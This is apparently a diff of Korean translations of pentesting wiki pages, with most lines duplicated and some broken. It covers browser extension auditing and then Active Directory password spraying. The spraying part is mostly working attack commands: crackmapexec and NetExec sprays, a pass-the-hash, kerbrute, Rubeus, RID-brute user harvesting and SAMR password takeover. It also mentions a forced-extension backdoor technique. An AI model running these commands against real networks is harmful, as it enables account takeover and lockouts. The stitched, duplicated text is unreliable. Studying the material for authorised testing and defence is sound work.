따라서 Browser Extension의 메모리는 **안전하다고 간주해서는 안 되며**, 자격 증명이나 니모닉 문구 같은 **민감한 정보는 저장해서는 안 됩니다**.
물론, 코드에 민감한 정보를 넣지 마세요. 코드에 들어가면 **공개**됩니다.
물론, **not put sensitive information in the code**, 이는 **공개(public)**될 수 있습니다.
브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장 설정으로 가서 **`Inspect pop-up`** -> **`Memory`** 섹션 -> **`Take a snaphost`** 하고 **`CTRL+F`** 로 스냅샷 내에서 민감한 정보를 검색할 수 있습니다.
브라우저에서 메모리를 덤프하려면 프로세스 메모리를 **dump the process memory**하거나 browser extension의 **settings**로 가서 **`Inspect pop-up`**을 클릭한 뒤 **`Memory`** 섹션에서 **`Take a snaphost`**를 수행하고 **`CTRL+F`**로 스냅샷 내부를 검색하여 민감한 정보를 찾을 수 있습니다.
또한 mnemonic keys나 passwords처럼 매우 민감한 정보는 클립보드에 복사되지 않도록 해야 합니다(최소한 몇 초 내에 클립보드에서 제거). 그렇지 않으면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있습니다.
또한, 니모닉 키나 비밀번호처럼 매우 민감한 정보는 **클립보드에 복사되지 않도록 허용해서는 안 되며**(적어도 몇 초 내에 클립보드에서 제거해야 함), 그렇지 않으면 클립보드를 모니터링하는 프로세스들이 이를 획득할 수 있습니다.
## Loading an Extension in the Browser
1. 브라우저 확장 프로그램을 **다운로드**하고 압축을 풉니다
2. **`chrome://extensions/`** 로 가서 `Developer Mode`를 **활성화**합니다
3. **`Load unpacked`** 버튼을 클릭합니다
1. **Download** the Browser Extension & unzipped
2. Go to **`chrome://extensions/`** and **enable** the `Developer Mode`
3. Click the **`Load unpacked`** button
**Firefox**에서는 **`about:debugging#/runtime/this-firefox`** 로 가서 **`Load Temporary Add-on`** 버튼을 클릭합니다.
In **Firefox** you go to **`about:debugging#/runtime/this-firefox`** and click **`Load Temporary Add-on`** button.
## Getting the source code from the store
Chrome 확장 프로그램의 소스 코드는 여러 방법으로 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침니다.
Chrome extension의 소스 코드는 여러 방법으로 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침이 나와 있습니다.
### Download Extension as ZIP via Command Line
Chrome 확장 프로그램의 소스 코드는 커맨드 라인을 사용해 ZIP 파일로 다운로드할 수 있습니다. 이는 `curl`을 사용해 특정 URL에서 ZIP 파일을 가져오고 ZIP 파일의 내용을 디렉터리로 추출하는 과정을 포함합니다. 절차는 다음과 같습니다:
Chrome extension의 소스 코드는 커맨드 라인을 통해 ZIP 파일로 다운로드할 수 있습니다. 이는 특정 URL에서 `curl`을 사용해 ZIP 파일을 가져오고 ZIP 파일의 내용을 디렉터리로 추출하는 과정을 포함합니다. 단계는 다음과 같습니다:
1. 실제 확장 프로그램 ID로 `"extension_id"`를 교체합니다.
2. 다음 명령어들을 실행합니다:
1. `"extension_id"` 실제 확장 프로그램의 ID로 교체합니다.
2. 다음 명령을 실행합니다:
```bash
extension_id=your_extension_id # Replace with the actual extension ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
@ -663,41 +610,41 @@ unzip -d "$extension_id-source" "$extension_id.zip"
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
### CRX Viewer extension 사용
### CRX Viewer 확장 프로그램 사용
다른 편리한 방법으로는 오픈소스 프로젝트인 Chrome Extension Source Viewer를 사용하는 것입니다. 이 확장 프로그램은 [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en)에서 설치할 수 있습니다. 뷰어의 소스 코드는 해당 [GitHub repository](https://github.com/Rob--W/crxviewer)에서 확인할 수 있습니다.
또 다른 편리한 방법은 Chrome Extension Source Viewer를 사용하는 것입니다. 이 오픈 소스 프로젝트는 [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en)에서 설치할 수 있습니다. 뷰어의 소스 코드는 [GitHub repository](https://github.com/Rob--W/crxviewer)에서 확인할 수 있습니다.
### 로컬에 설치된 확장 프로그램 소스 보기
### 로컬에 설치된 확장 프로그램 소스 보기
Chrome에 로컬로 설치된 확장 프로그램도 검사할 수 있습니다. 방법은 다음과 같습니다:
Chrome 확장 프로그램을 로컬에서 설치한 경우에도 검사할 수 있습니다. 방법은 다음과 같습니다:
1. `chrome://version/`를 방문하여 로컬 Chrome 프로필 디렉터리에 접근하고 "Profile Path" 필드를 찾습니다.
1. `chrome://version/`을 방문하여 Chrome 로컬 프로필 디렉터리에 접근한 다음 "Profile Path" 필드를 찾습니다.
2. 프로필 디렉터리 내의 `Extensions/` 하위 폴더로 이동합니다.
3. 이 폴더에는 설치된 모든 확장 프로그램이 포함되어 있으며, 일반적으로 소스 코드를 읽을 수 있는 형식으로 확인할 수 있습니다.
3. 이 폴더에는 설치된 모든 확장 프로그램이 들어 있으며, 일반적으로 소스 코드를 읽을 수 있는 형식으로 포함되어 있습니다.
확장 프로그램을 식별하려면 ID와 이름을 매핑할 수 있습니다:
확장 프로그램을 식별하려면 ID를 이름에 매핑할 수 있습니다:
- `about:extensions` 페이지에서 Developer Mode를 활성화하면 각 확장 프로그램의 ID를 확인할 수 있습니다.
- 각 확장 프로그램 폴더 `manifest.json` 파일에는 읽을 수 있는 `name` 필드가 있어 확장 프로그램을 식별하는 데 도움이 됩니다.
- `about:extensions` 페이지에서 Developer Mode를 활성화하면 각 확장 프로그램의 ID를 수 있습니다.
- 각 확장 프로그램 폴더 `manifest.json` 파일에는 읽을 수 있는 `name` 필드가 있어 확장 프로그램을 식별하는 데 도움이 됩니다.
### 파일 아카이버 또는 언패커 사용
### 파일 압축 해제 도구 사용
Chrome Web Store에서 확장 프로그램을 다운로드하면 파일 확장자가 `.crx`입니다. 파일 확장자를 `.crx`에서 `.zip`으로 변경한 후, WinRAR, 7-Zip 등과 같은 파일 아카이버로 ZIP 파일의 내용을 추출하면 됩니다.
Chrome Web Store에서 확장 프로그램을 다운로드하세요. 파일은 `.crx` 확장자를 가집니다. 파일 확장자를 `.crx`에서 `.zip`으로 변경한 후 WinRAR, 7-Zip 등과 같은 압축 해제 도구로 ZIP 파일의 내용을 추출합니다.
### Chrome에서 Developer Mode 사용
Chrome을 열고 `chrome://extensions/`로 이동합니다. 오른쪽 상단에서 "Developer mode"를 활성화합니다. "Load unpacked extension..."을 클릭하고 확장 프로그램의 디렉터리로 이동합니다. 이 방법은 소스 코드를 다운로드하지는 않지만, 이미 다운로드하거나 개발 중인 확장 프로그램의 코드를 보고 수정하는 데 유용합니다.
Chrome을 열고 `chrome://extensions/`로 이동합니다. 오른쪽 상단에서 "Developer mode"를 활성화합니다. "Load unpacked extension..."을 클릭합니다. 확장 프로그램의 디렉터리로 이동합니다. 이는 소스 코드를 다운로드하지는 않지만 이미 다운로드했거나 개발 중인 확장 프로그램의 코드를 보기 및 수정하는 데 유용합니다.
## Chrome extension manifest dataset
## Chrome extension manifest 데이터셋
취약한 브라우저 확장 프로그램을 찾아보려면 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용하여 manifest 파일에서 잠재적으로 취약한 징후를 확인할 수 있습니다. 예를 들어, 사용자 수가 25000명 이상이고 `content_scripts`가 있으며 권한 `nativeMessaing`이 있는 확장 프로그램을 찾으려면:
취약한 브라우저 확장 프로그램을 찾아보려면 the[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) 을 사용하여 manifest 파일에서 잠재적 취약 징후를 확인할 수 있습니다. 예를 들어 사용자 수가 25000명 이상이고, `content_scripts`를 포함하며 권한 `nativeMessaing`을 가진 확장 프로그램을 확인하려면:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
```
## Post-exploitation: Forced extension load & persistence (Windows)
사용자별 Preferences를 직접 편집하고 유효한 HMACs를 위조해 Chromium에 백도어를 심는 은밀한 기법으로, 브라우저가 prompts나 flags 없이 임의의 unpacked extension을 수락하고 활성화하게 만듭니다.
사용자별 Preferences를 직접 편집하고 유효한 HMACs를 위조하여 Chromium에 백도어를 심는 은밀한 기법으로, 브라우저가 프롬프트나 플래그 없이 임의의 unpacked extension을 수락하고 활성화하게 만듭니다.
{{#ref}}
forced-extension-load-preferences-mac-forgery-windows.md
@ -705,27 +652,27 @@ forced-extension-load-preferences-mac-forgery-windows.md
## 보안 감사 체크리스트
브라우저 확장(extensions)은 **공격 표면이 제한적**이지만, 일부는 **취약점**이나 **하드닝 개선 여지**를 포함할 수 있습니다. 다음 항목들은 가장 흔한 항목들입니다:
Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones:
- [ ] 요청된 **`permissions`**을 가능한 한 **제한**하세요
- [ ] **`host_permissions`**을 가능한 한 **제한**하세요
- [ ] **강력한** **`content_security_policy`**를 사용하세요
- [ ] **`externally_connectable`**을 가능한 한 **제한**하세요. 필요 없고 가능하다면 기본값으로 두지 말고 **`{}`**로 지정하세요
- [ ] 여기서 **URL vulnerable to XSS or to takeover**가 언급되면, 공격자는 **send messages to the background scripts directly**할 수 있습니다. 매우 강력한 우회 방법입니다.
- [ ] **`web_accessible_resources`**를 가능한 한 **제한**하세요. 가능하면 비워두세요.
- [ ] **`web_accessible_resources`**가 none이 아닌 경우, [**ClickJacking**](browext-clickjacking.md)을 확인하세요
- [ ] extension에서 web page로 어떤 **communication**이 발생하면, 그 통신으로 인해 발생할 수 있는 [**XSS**](browext-xss-example.md) **vulnerabilities**를 확인하세요.
- [ ] Post Messages가 사용되는 경우, [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)를 확인하세요.
- [ ] **Content Script**가 DOM 세부사항에 접근하는 경우, 웹에 의해 수정되면 **XSS를 유발하지 않는지** 확인하세요
- [ ] 이 통신이 **Content Script -> Background script communication**에 관여한다면 특히 주의하세요
- [ ] background script가 **native messaging**을 통해 통신하는 경우, 통신이 안전하고 입력이 정제(sanitized)되었는지 확인하세요
- [ ] 민감한 정보는 Browser Extension 코드 내부에 저장되어서는 안 됩니다
- [ ] 민감한 정보는 Browser Extension 메모리 내부에 저장되어서는 안 됩니다
- [ ] 민감한 정보는 보호되지 않은 파일 시스템에 저장되어서는 안 됩니다
- [ ] **요청된 `permissions`을 가능한 한 제한하세요.**
- [ ] 요청된 **`host_permissions`**를 가능한 한 제한하세요.
- [ ] **강력한** **`content_security_policy`**를 사용하세요.
- [ ] **`externally_connectable`**를 가능한 한 제한하세요. 필요 없고 가능하다면 기본값으로 두지 말고 **`{}`**로 명시하세요.
- [ ] 여기**URL vulnerable to XSS or to takeover**가 언급되어 있다면, 공격자는 **background scripts에 직접 메시지를 보낼 수 있게 됩니다**. 매우 강력한 우회입니다.
- [ ] **`web_accessible_resources`**를 가능한 한 제한하세요. 가능하면 비워두세요.
- [ ] **`web_accessible_resources`**가 비어있지 않다면 [**ClickJacking**](browext-clickjacking.md)을 확인하세요.
- [ ] 확장에서 웹 페이지로 어떤 **communication**이 발생한다면, 통신 과정에서 유발되는 [**XSS**](browext-xss-example.md) **vulnerabilities**를 확인하세요.
- [ ] Post Messages가 사용된다면 [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)를 확인하세요.
- [ ] **Content Script**가 DOM 세부 정보를 접근한다면, 웹에 의해 **modified**될 경우 **XSS를 도입하지 않는지** 확인하세요.
- [ ] 이 통신이 **Content Script -> Background script communication**에도 관여되어 있다면 특히 주의하세요.
- [ ] background script가 **native messaging**으로 통신한다면, 통신이 안전하고 입력이 적절히 정제되어 있는지 확인하세요.
- [ ] Browser Extension의 **code** 내부에 민감한 정보가 저장되어서는 안 됩니다.
- [ ] Browser Extension의 **memory** 안에 민감한 정보가 저장되어서는 안 됩니다.
- [ ] **file system unprotected**에 민감한 정보가 저장되어서는 안 됩니다.
## Browser Extension Risks
- 앱 [https://crxaminer.tech/](https://crxaminer.tech/)은 확장(extension)이 요청하는 permissions 같은 일부 데이터를 분석하여 확장 사용의 위험도를 제공합니다.
- 앱 [https://crxaminer.tech/](https://crxaminer.tech/)은 permissions 같은 데이터를 분석하여 Browser Extension 사용의 위험 수준을 제공합니다.
## Tools
@ -733,34 +680,34 @@ forced-extension-load-preferences-mac-forgery-windows.md
- 제공된 Chrome webstore 링크에서 Chrome extension을 가져옵니다.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: 확장의 manifest를 JSON 형식으로 보기 좋게 표시합니다.
- **Fingerprint Analysis**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)를 탐지하고 Chrome extension fingerprinting JavaScript를 자동 생성합니다.
- **Potential Clickjacking Analysis**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시자가 설정된 extension HTML 페이지를 탐지합니다. 이 페이지들은 목적에 따라 Clickjacking에 취약할 수 있습니다.
- **Permission Warning(s) viewer**: 사용자가 확장을 설치하려 할 때 표시될 모든 Chrome permission prompt 경고 목록을 보여줍니다.
- **Dangerous Function(s)**: 공격자가 악용할 수 있는 위험한 함수들의 위치를 보여줍니다 (예: innerHTML, chrome.tabs.executeScript).
- **Entry Point(s)**: 확장이 사용자/외부 입력을 받는 지점을 보여줍니다. 이는 확장의 공격 표면을 이해하고 악의적으로 조작된 데이터를 보낼 수 있는 잠재 지점을 찾는 데 유용합니다.
- Dangerous Function(s)와 Entry Point(s) 스캐너는 생성된 경고에 대해 다음 정보를 제공합니다:
- 경고를 유발한 관련 코드 스니펫과 라인
- 이슈 설명
- 전체 소스 파일을 보도록 하는 “View File” 버튼
- 경고가 발생한 파일의 경로
- 경고 파일의 전체 Chrome extension URI
- Background Page script, Content Script, Browser Action 등 파일 유형
- 취약한 라인이 JavaScript 파일에 있다면, 해당 파일이 포함된 모든 페이지의 경로와 페이지 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태
- **Content Security Policy (CSP) analyzer and bypass checker**: 확장의 CSP 약점을 지적하고, 화이트리스트된 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적 방법을 밝힙니다.
- **Known Vulnerable Libraries**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용해 알려진 취약 JavaScript 라이브러리 사용 여부를 검사합니다.
- 확장 및 포맷된 버전 다운로드
- 원본 확장 다운로드
- 보기 좋게 정리된 버전(자동으로 prettified된 HTML 및 JavaScript 포함) 다운로드
- 스캔 결과 자동 캐싱: 확장 스캔은 처음 실행 시 시간이 많이 걸릴 수 있지만, 확장이 업데이트되지 않았다면 두 번째 실행부터는 캐시된 결과로 거의 즉시 실행됩니다.
- 링크 가능한 리포트 URL: tarnish가 생성한 확장 리포트에 쉽게 링크를 공유할 수 있습니다.
- **Fingerprint Analysis**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources)를 감지하고 자동으로 Chrome extension fingerprinting JavaScript를 생성합니다.
- **Potential Clickjacking Analysis**: [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 지시어가 설정된 확장 HTML 페이지를 감지합니다. 이러한 페이지들은 목적에 따라 clickjacking에 취약할 수 있습니다.
- **Permission Warning(s) viewer**: 확장 설치 시 사용자에게 표시되는 모든 Chrome 권한 프롬프트 경고 목록을 표시합니다.
- **Dangerous Function(s)**: innerHTML, chrome.tabs.executeScript 같은 공격자가 악용할 수 있는 위험한 함수의 위치를 표시합니다.
- **Entry Point(s)**: 확장이 사용자/외부 입력을 받는 위치를 표시합니다. 이는 확장의 공격 표면을 이해하고 악의적으로 조작된 데이터를 보낼 수 있는 잠재 지점을 찾는 데 유용합니다.
- Dangerous Function(s) 및 Entry Point(s) 스캐너에서 생성된 경고에는 다음이 포함됩니다:
- 경고를 발생시킨 관련 코드 스니펫과 라인.
- 문제 설명.
- 전체 소스 파일을 볼 수 있는 “View File” 버튼.
- 경고가 발생한 파일의 경로.
- 해당 파일의 전체 Chrome extension URI.
- Background Page script, Content Script, Browser Action 등 파일 유형.
- 취약한 라인이 JavaScript 파일인 경우, 해당 파일이 포함된 모든 페이지의 경로와 페이지 유형 및 [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources) 상태.
- **Content Security Policy (CSP) analyzer and bypass checker**: 확장의 CSP 약점을 지적하고, 화이트리스트된 CDN 등으로 인해 CSP를 우회할 수 있는 가능성을 밝힙니다.
- **Known Vulnerable Libraries**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용하여 알려진 취약 JavaScript 라이브러리 사용을 검사합니다.
- 확장 다운로드 및 포매팅된 버전 제공.
- 원본 확장 다운로드.
- 예쁘게 정리된(beautified) 확장 버전 다운로드(자동으로 prettified된 HTML 및 JavaScript).
- 스캔 결과 자동 캐시: 처음 스캔은 시간이 걸리지만, 확장이 업데이트되지 않았다면 두 번째 스캔은 결과가 캐시되어 거의 즉시 완료됩니다.
- 링크 가능한 리포트 URL: tarnish로 생성된 확장 리포트를 다른 사람에게 쉽게 공유할 수 있습니다.
### [Neto](https://github.com/elevenpaths/neto)
Project Neto는 Firefox와 Chrome 같은 잘 알려진 브라우저용 브라우저 플러그인 및 확장의 숨겨진 기능을 분석하고 드러내기 위해 고안된 Python 3 패키지입니다. 패키지된 파일을 자동으로 압축 해제하여 `manifest.json`, localization 폴더, 또는 Javascript와 HTML 소스 파일 같은 확장의 관련 리소스에서 이러한 기능을 추출합니다.
Project Neto는 Firefox 및 Chrome과 같은 잘 알려진 브라우저용 플러그인과 확장의 숨겨진 기능을 분석하고 추출하도록 고안된 Python 3 패키지입니다. 패키지된 파일을 자동으로 압축 해제하고 `manifest.json`, 지역화 폴더(localization folders) 또는 Javascript 및 HTML 소스 파일 같은 관련 리소스에서 이러한 기능을 추출합니다.
## References
## 참고자료
- **이 방법론에 도움을 준** [**@naivenom**](https://twitter.com/naivenom) **에게 감사드립니다**
- **감사** [**@naivenom**](https://twitter.com/naivenom) **이 방법론에 도움을 주셔서 감사합니다**
- [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
- [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
- [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)

View File

@ -5,16 +5,16 @@
## **Password Spraying**
몇 개의 **valid usernames**를 찾았다면 발견한 각 사용자에 대해 가장 흔한 **common passwords**를 시도해 볼 수 있습니다 (환경의 password policy를 염두에 두세요).\
By **default** the **minimum** **password** **length** is **7**.
여러 개의 **valid usernames**를 찾았다면, 발견한 각 사용자에 대해 가장 흔한 **common passwords**를 시도해볼 수 있습니다(환경의 password policy를 염두에 두세요).\
기본적으로 **default** **minimum** **password** **length**는 **7**입니다.
Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
**common usernames** 목록도 유용할 수 있습니다: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
주의: 여러 번의 잘못된 시도로 인해 **could lockout some accounts if you try several wrong passwords** (by default more than 10).
참고: **could lockout some accounts if you try several wrong passwords** (기본적으로 10회 이상).
### password policy 가져오기
### Get password policy
user credentials가 있거나 domain user로서 shell이 있는 경우 다음과 같이 **get the password policy with**:
user credentials가 있거나 domain user로서 shell을 가진 경우 다음으로 **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,7 +31,7 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Exploitation from Linux (또는 모)
### Exploitation from Linux (또는 모든 환경에서)
- **crackmapexec** 사용:
```bash
@ -40,6 +40,21 @@ crackmapexec smb <IP> -u users.txt -p passwords.txt
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
- **NetExec (CME successor)**를 사용하여 표적형, 저소음 spraying을 SMB/WinRM 전반에 걸쳐:
```bash
# Optional: generate a hosts entry to ensure Kerberos FQDN resolution
netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares
# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
```
- [**kerbrute**](https://github.com/ropnop/kerbrute) 사용 (Go)
```bash
# Password Spraying
@ -47,20 +62,20 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(차단을 피하기 위해 시도 횟수를 지정할 수 있습니다):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(계정 잠금을 피하기 위해 시도 횟수를 지정할 수 있습니다):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) 사용 - 권장하지 않음. 때때로 작동하지 않
- [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) 사용 (python) - 권장하지 않음. 경우에 따라 작동하지 않을 수 있
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
- **Metasploit**의 `scanner/smb/smb_login` 모듈을 사용:
- **Metasploit**의 `scanner/smb/smb_login` 모듈을 사용하여:
![](<../../images/image (745).png>)
- **rpcclient** 사용:
- **rpcclient**를 사용하여:
```bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
@ -69,7 +84,7 @@ done
```
#### Windows에서
- brute module 포함 버전의 [Rubeus](https://github.com/Zer1t0/Rubeus) 사용:
- brute 모듈이 포함된 [Rubeus](https://github.com/Zer1t0/Rubeus) 버전으로:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,20 +92,20 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)을 사용하면 (기본적으로 도메인에서 사용자 계정을 생성하고 도메인에서 비밀번호 정책을 가져와 그에 따라 시도 횟수를 제한합니다):
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)을(를) 사용하면 (기본적으로 도메인에서 사용자를 생성하고 도메인의 암호 정책을 가져와 이에 따라 시도 횟수를 제한합니다):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- 다음과 함께 [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
- [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) 사용
```
Invoke-SprayEmptyPassword
```
### "Password must change at next logon" 계정 식별 및 탈취 (SAMR)
### 식별 및 인수 "Password must change at next logon" 계정 (SAMR)
저소음 기법은 무해하거나 빈 비밀번호로 spray를 시도하여 STATUS_PASSWORD_MUST_CHANGE를 반환하는 계정을 포착하는 것이다. 이는 비밀번호가 강제로 만료되어 기존 비밀번호를 알지 못해도 변경할 수 있음을 나타낸다.
소음이 적은 기법은 benign/empty password를 spray하여 STATUS_PASSWORD_MUST_CHANGE를 반환하는 계정을 찾아내는 것이다. 이는 비밀번호가 강제로 만료되어 이전 비밀번호를 알지 못해도 변경할 수 있음을 의미한다.
워크플로우:
- 대상 목록을 만들기 위해 Enumerate users (RID brute via SAMR)을 수행:
Workflow:
- 사용자 열거 (RID brute via SAMR)로 대상 목록 작성:
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +114,12 @@ Invoke-SprayEmptyPassword
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spray an empty password을 사용하고 hits 발생 시 계속 진행하여 next logon 시 변경해야 하는 계정을 캡처하세요:
- Spray an empty password를 시도하고, hits가 나와도 다음 logon 시 비밀번호 변경이 필요한 계정을 확보하기 위해 계속 진행하세요:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- 각 히트마다 SAMR을 통해 NetExecs module로 비밀번호를 변경하세요("must change"가 설정된 경우 이전 비밀번호 필요 없음):
- 각 히트마다, SAMR을 통해 NetExec의 모듈로 비밀번호를 변경합니다 ("must change"가 설정된 경우 이전 비밀번호 필요):
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
@ -114,8 +129,8 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
운영 노트:
- Kerberos 기반 작업 전에 호스트 시계가 DC와 동기화되어 있는지 확인하세요: `sudo ntpdate <dc_fqdn>`.
- 일부 모듈(예: RDP/WinRM)에서 (Pwn3d!) 없이 [+]가 표시되면 creds는 유효하지만 계정에 대화형 로그온 권한이 없습니다.
- Kerberos 기반 작업을 수행하기 전에 호스트 시계가 DC와 동기화되어 있는지 확인하세요: `sudo ntpdate <dc_fqdn>`.
- 일부 모듈(예: RDP/WinRM)에서 [+]가 (Pwn3d!) 없이 표시되는 것은 creds가 유효하지만 계정에 대화형 로그온 권한이 없음을 의미합니다.
## Brute Force
```bash
@ -123,15 +138,15 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying은 SMB/NTLM/LDAP bind 시도에 비해 노이즈를 줄이고 AD lockout 정책과 더 잘 맞습니다. SpearSpray는 LDAP-driven 타겟팅, 패턴 엔진, 그리고 정책 인식(domain policy + PSOs + badPwdCount buffer)을 결합해 정밀하고 안전하게 spray합니다. 또한 Neo4j에 compromised principals를 태그하여 BloodHound 경로 분석에 사용할 수 있습니다.
Kerberos pre-authbased spraying은 SMB/NTLM/LDAP 바인드 시도보다 노이즈를 줄이고 AD 잠금 정책과 더 잘 맞습니다. SpearSpray는 LDAP-driven 타깃팅, 패턴 엔진, 정책 인식(도메인 정책 + PSOs + badPwdCount 버퍼)을 결합하여 정밀하고 안전하게 스프레이를 수행합니다. 또한 침해된 principals를 Neo4j에 태그하여 BloodHound 경로 탐색에 활용할 수 있습니다.
Key ideas:
- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
- 도메인 잠금 정책 + PSO-aware 필터링을 통해 구성 가능한 시도 버퍼(threshold)를 남겨 사용자가 잠기지 않도록 방지.
- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- Pattern-based, per-user password generation using variables like names and temporal values derived from each users pwdLastSet.
- Throughput control with threads, jitter, and max requests per second.
- Optional Neo4j integration to mark owned users for BloodHound.
- 이름 같은 변수와 각 사용자의 pwdLastSet에서 파생된 시간값을 이용한 패턴 기반의 사용자별 비밀번호 생성.
- 스레드, 지터, 초당 최대 요청 수로 처리량 제어.
- 선택적 Neo4j 통합으로 owned users를 BloodHound용으로 표시 가능.
Basic usage and discovery:
```bash
@ -144,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
타겟팅 및 패턴 제어:
대상 지정 및 패턴 제어:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -174,29 +189,29 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
{samaccountname}
{extra}{separator}{year}{suffix}
```
사용 가능한 변수:
Available variables include:
- {name}, {samaccountname}
- 각 사용자의 pwdLastSet(또는 whenCreated)에서 파생되는 시간 값: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- 조합 도우미 및 조직 토큰: {separator}, {suffix}, {extra}
- 각 사용자의 pwdLastSet(또는 whenCreated)로부터의 시간값: {year}, {short_year}, {month_number}, {month_en}, {season_en}
- 조합 헬퍼 및 조직 토큰: {separator}, {suffix}, {extra}
운영 참고:
